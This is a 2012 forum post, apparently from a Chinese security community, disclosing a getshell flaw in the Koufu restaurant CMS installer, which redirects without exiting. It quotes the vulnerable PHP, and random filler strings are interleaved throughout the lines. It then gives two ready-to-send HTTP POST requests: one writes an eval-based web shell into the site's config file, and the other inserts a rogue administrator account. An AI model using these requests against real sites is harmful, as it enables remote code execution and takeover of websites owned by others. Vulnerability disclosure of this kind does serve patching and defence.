找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2293|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。# n8 m- M, J- y0 W; r) `8 H% ]7 Q

7 Q3 {5 K& a: ^3 w1 h4 H7 T<?php* D* ~: K1 q: f9 j
if(file_exists("../install.lock"))
+ y5 Q/ @0 D# p1 O{0 ~: k# F5 l7 ~6 i" P/ X
    header("Location: ../");//没有退出
* u  z, |9 a' J! e, d* P' e}" ~/ e0 k( ~9 l) D7 ^6 w
               
+ Y- x# q- ], {//echo 'tst';exit;. b6 {$ g$ R9 s3 C
require_once("init.php");" [1 t9 q/ c4 R
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)2 V6 V; k  s0 K- s0 H
{9 C' ^3 [+ u* T
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。# p# }: y4 |8 _' z4 O

& {. p* x6 D/ @; W  O8 Q0 h& a1、getshell(很危险)
6 X9 }1 D. {2 I- xif(empty($_REQUEST['step']) || $_REQUEST['step']==1)7 s7 h& F; [/ Q, a! V
{
' S; c$ S7 {& I$smarty->assign("step",1);
1 G+ O. B& M# X' r$smarty->display("index.html");
/ u: x( e" v: R) Q2 r}elseif($_REQUEST['step']==2)* K& |: O0 f2 M" m
{
3 L5 `* ^# ?9 e! w& j    $mysql_host=trim($_POST['mysql_host']);+ ~7 N$ D, f+ U- g  R" R4 t$ C
    $mysql_user=trim($_POST['mysql_user']);* z9 F* u- N, \, s9 U! d
    $mysql_pwd=trim($_POST['mysql_pwd']);9 g4 E5 A, H! s
    $mysql_db=trim($_POST['mysql_db']);# S7 c' V. m4 ]! W
    $tblpre=trim($_POST['tblpre']);- K6 F& T9 F0 K2 f. H2 b/ ^
    $domain==trim($_POST['domain']);
9 c! ?* u" {' e  P% Y* t4 X2 W    $str="<?php \r\n";3 E' ^! B9 V1 J
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
) E' ]; {0 o5 T: i    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";: l7 ?' p$ e. {8 n  T1 e
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
4 v3 U0 A9 }# S! f    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
7 t" k2 J5 z. t' {    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";1 [3 V, B9 ?- y
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";# K! l, l2 F7 F% T* y5 X
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";0 J. {( P* h2 i4 h1 ~$ I
    $str.='define("SKINS","default");'."\r\n";
5 m* B7 W5 y2 t1 @& N% U    $str.='?>';
  g7 Z  F) S% f7 U. L    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
  |4 P; h. I# l- S上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马* d& l; A% }& {3 O$ G
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
$ R, ^! \( i/ J9 h2 E$ G( B; s0 ^Host: 192.168.80.129
( T% N& N# i  Z% D3 ?/ x) d6 tUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
4 y$ O4 ]) H% yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
% Z  c* t* h. z# q  n. a5 EAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
% W, H  w! s9 f9 }2 q0 X0 LAccept-Encoding: gzip, deflate# T" U3 j' N8 z0 F* a- Q/ }2 h
Referer: http://192.168.80.129/canting/install/index.php?step=1' N& H  n- g4 y6 q" t
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
8 [3 m( Q+ ?! b& `: m% }3 mContent-Type: application/x-www-form-urlencoded) }- ]1 p5 h3 L6 _% z
Content-Length: 126% d6 o+ V$ k* w/ v0 D  b2 Y* J
         
/ i0 ^  [! N! F. f, ^/ Gmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
9 t; B, z0 s3 s8 W但是这个方法很危险,将导致网站无法运行。: n; K6 ?3 h: ^# r) t

( Q* H7 G; h. S- R% R2、直接添加管理员
& r; g3 c( Q- ], Q3 r( |* C" \% i1 L1 w
elseif($_REQUEST['step']==5)* |0 r0 T; ?; z6 j% L3 ?
{6 u, k% y8 P! K( `+ x0 z
    if($_POST)
  h) A& g9 j9 z* C* b$ z" t    {   require_once("../config/config.inc.php");
5 M8 S  o, K; j4 V! q* ]; E        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);' K. K+ L% o4 l, c$ T- Z0 X
        mysql_select_db(MYSQL_DB,$link);# s0 s9 J8 o/ L
        mysql_query("SET NAMES ".MYSQL_CHARSET );
! Y% N( [" z5 Y+ q6 `         mysql_query("SET sql_mode=''");  M& d$ o9 `2 g* x9 H+ H

) P# B9 y4 [1 H $adminname=trim($_POST['adminname']);
! [$ a$ m/ u. t        $pwd1=trim($_POST['pwd1']);0 C0 a) Z/ q. @3 V: L- T- `6 Y
        $pwd2=trim($_POST['pwd2']);. |; M' j, g' }$ C/ F8 t: [
        if(empty($adminname))
6 ~# I2 X, L2 X        {
* V' ~& L/ s! k! {1 t
: }7 y! c  O0 I. a1 T" _ echo "<script>alert('管理员不能为空');history.go(-1);</script>";2 a9 y( T" [  X
            exit();1 O3 F  f: ]. G* t, n+ S( ~# g
        }
- s8 x+ T) o  G* f. Y, G3 i        if(($pwd1!=$pwd2) or empty($pwd1))! S" B' J6 L0 Z9 n& ~- p
        {
# P  E2 ~! n3 Q) U) a            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出$ Z- e& x! O8 Q, G
        }
6 z" {% @8 \$ _, G/ }0 B        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员5 t" [# k  e1 X7 }% m$ h
    }
, S6 c1 d8 K/ u& @/ P9 \这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:3 ]5 q1 J& ?/ [; P0 b
POST /canting/install/index.php?m=index&step=5 HTTP/1.1% Y  g$ m  T$ S- {: P9 `$ Q
Host: 192.168.80.129
# i) f% _$ I" k. Q" G* DUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
+ t, \" ?! V/ u0 P9 z, qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.81 t* [) I5 b4 G$ G
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.34 m+ S8 x- ]% w( P6 _
Accept-Encoding: gzip, deflate
/ z: t8 u6 j- ^  {; d3 U2 xReferer: http://www.2cto.com /canting/install/index.php?step=1& c6 D- p" s  b2 \/ K+ N
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
$ H. z% t. A2 _& Q# o1 ?0 H2 tContent-Type: application/x-www-form-urlencoded& I( u5 b8 c# A- N+ W
Content-Length: 46
' r+ ]6 x5 z' y0 s7 l8 [% r      4 q0 p9 T/ q* _* ^2 o+ U
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​
- @; R; c2 n8 I0 ~$ p3 i# l( l# T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表